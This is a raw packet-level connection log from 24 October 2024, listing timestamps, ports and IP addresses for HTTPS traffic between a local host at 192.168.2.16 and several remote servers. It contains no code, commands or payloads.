Oct 24, 2024 11:57:29.503509045 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.504400969 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.504420042 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.504472017 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.504479885 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.504507065 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.504527092 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.537746906 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.537787914 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.537882090 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.537898064 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.537942886 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.621803999 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.621840000 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.621906042 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.621927977 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.621944904 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.621979952 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.622163057 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.622181892 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.622226000 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.622234106 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.622279882 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.655755043 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.655786037 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.655879974 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.655905008 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.655951023 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.656857967 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.656878948 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.657033920 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.657063961 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.657118082 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.740816116 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.740849018 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.740921021 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.740951061 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.740993977 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.742091894 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.742108107 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.742165089 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.742182970 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.742225885 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.774756908 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.774782896 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.774889946 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.774918079 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.774959087 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.819732904 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.819761038 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.819879055 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.819906950 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.819967031 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.859713078 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.859740019 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.859863043 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.859889030 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.859941006 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.893099070 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.893125057 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.893189907 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.893218040 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.893235922 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.893253088 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.894022942 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.894042969 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.894095898 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.894103050 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.894140959 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.977754116 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.977778912 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.977832079 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.977843046 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.977874994 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.977899075 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.978450060 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.978471994 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.978564024 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.978569984 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.978610039 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.011930943 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.011955976 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.012042046 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.012070894 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.012115002 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.012819052 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.012842894 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.012896061 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.012912989 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.012969971 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.078910112 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 11:57:30.096410036 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.096436024 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.096496105 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.096524954 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.096545935 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.096563101 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.096574068 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.096617937 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.096625090 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.096668005 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.096682072 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.096723080 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.096913099 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.096929073 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.103970051 CEST	49713	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:57:30.104012966 CEST	443	49713	4.175.87.197	192.168.2.16
Oct 24, 2024 11:57:30.104090929 CEST	49713	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:57:30.105571032 CEST	49713	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:57:30.105585098 CEST	443	49713	4.175.87.197	192.168.2.16
Oct 24, 2024 11:57:30.131360054 CEST	49714	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.131418943 CEST	443	49714	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.131489992 CEST	49714	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.131815910 CEST	49714	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.131827116 CEST	443	49714	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.171859026 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:30.171947956 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:30.175494909 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:30.175522089 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:30.175848961 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:30.208523989 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.208548069 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.208651066 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.209033966 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:30.209076881 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:30.209130049 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:30.209230900 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:30.209276915 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:30.209331036 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:30.209414005 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:30.209429026 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:30.209466934 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:30.209697962 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.209714890 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.210057020 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:30.210078955 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:30.210217953 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:30.210233927 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:30.210338116 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:30.210350990 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:30.212452888 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:30.212491989 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:30.212558031 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:30.212764025 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:30.212784052 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:30.213032007 CEST	49720	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.213069916 CEST	443	49720	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.213125944 CEST	49720	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.213161945 CEST	49721	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.213190079 CEST	443	49721	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.213234901 CEST	49721	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.213296890 CEST	49722	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.213306904 CEST	443	49722	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.213354111 CEST	49722	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.213479996 CEST	49720	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.213493109 CEST	443	49720	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.213607073 CEST	49721	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.213618994 CEST	443	49721	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.213748932 CEST	49722	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.213759899 CEST	443	49722	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.220473051 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:30.227926016 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:30.271342993 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:30.329328060 CEST	49723	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.329380035 CEST	443	49723	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.329472065 CEST	49723	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.330035925 CEST	49723	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.330053091 CEST	443	49723	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.380496025 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 11:57:30.472609043 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:30.472851992 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:30.472893953 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:30.472908020 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:30.473026037 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:30.473057032 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:30.473094940 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:30.517945051 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:30.517986059 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:30.518125057 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:30.518445015 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:30.518454075 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:30.746448994 CEST	443	49714	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.746731997 CEST	49714	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.746745110 CEST	443	49714	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.747793913 CEST	443	49714	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.747864008 CEST	49714	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.748214960 CEST	49714	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.748229980 CEST	49714	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.748279095 CEST	443	49714	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.748287916 CEST	49714	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.748363018 CEST	49714	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.748963118 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.748986006 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.749078035 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.749403954 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.749417067 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.827461004 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.827964067 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.827994108 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.829097033 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.829184055 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.834069014 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.834167957 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.834180117 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.875497103 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.875518084 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.922535896 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.943371058 CEST	443	49723	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.943669081 CEST	49723	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.943682909 CEST	443	49723	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.944751978 CEST	443	49723	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.944917917 CEST	49723	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.945355892 CEST	49723	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.945355892 CEST	49723	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.945415020 CEST	49723	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.945432901 CEST	443	49723	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.945579052 CEST	49723	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.945761919 CEST	49726	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.945799112 CEST	443	49726	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.945971966 CEST	49726	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.946312904 CEST	49726	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:30.946322918 CEST	443	49726	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:30.961500883 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.961615086 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.961652040 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.961687088 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.961702108 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.961715937 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.961750031 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.961783886 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.961812019 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.961839914 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.961848021 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.962091923 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:30.962100983 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:30.976823092 CEST	443	49721	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.977076054 CEST	49721	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.977101088 CEST	443	49721	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.978127956 CEST	443	49721	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.978307009 CEST	49721	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.979412079 CEST	49721	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.979496956 CEST	443	49721	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.979748011 CEST	49721	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.979758978 CEST	443	49721	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.980195045 CEST	443	49720	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.980417967 CEST	49720	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.980443954 CEST	443	49720	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.980669975 CEST	443	49722	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.980855942 CEST	49722	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.980864048 CEST	443	49722	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.981504917 CEST	443	49720	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.981563091 CEST	49720	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.981870890 CEST	49720	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.981889963 CEST	443	49722	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.981928110 CEST	443	49720	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.981945992 CEST	49722	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.982276917 CEST	49722	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.982325077 CEST	443	49722	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.982422113 CEST	49720	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.982428074 CEST	443	49720	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.982506037 CEST	49722	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:30.982511044 CEST	443	49722	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:30.986463070 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 11:57:31.002475023 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.002494097 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.034462929 CEST	49721	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:31.034466028 CEST	49722	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:31.034491062 CEST	49720	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:31.050596952 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.053158998 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.053438902 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.053469896 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.054486990 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.054713964 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.054723024 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.054913044 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.055164099 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.055196047 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.055211067 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.055229902 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.055763006 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.055826902 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.056314945 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.056381941 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.056550026 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.056643963 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.056996107 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.057060957 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.057095051 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.057102919 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.057182074 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.057188988 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.057478905 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.057539940 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.057661057 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.057668924 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.080571890 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.080657959 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.080712080 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.080771923 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.080801964 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.081237078 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.081528902 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.081543922 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.081598997 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.081697941 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.081779957 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.081816912 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.081883907 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.081896067 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.081965923 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.082575083 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.082647085 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.082680941 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.082714081 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.082725048 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.082755089 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.082767010 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.083540916 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.083578110 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.083611012 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.083612919 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.083623886 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.083699942 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.086473942 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.086891890 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.086904049 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.098462105 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.098462105 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.098546982 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.124505997 CEST	443	49720	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:31.124630928 CEST	443	49720	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:31.124696016 CEST	49720	443	192.168.2.16	13.107.253.45
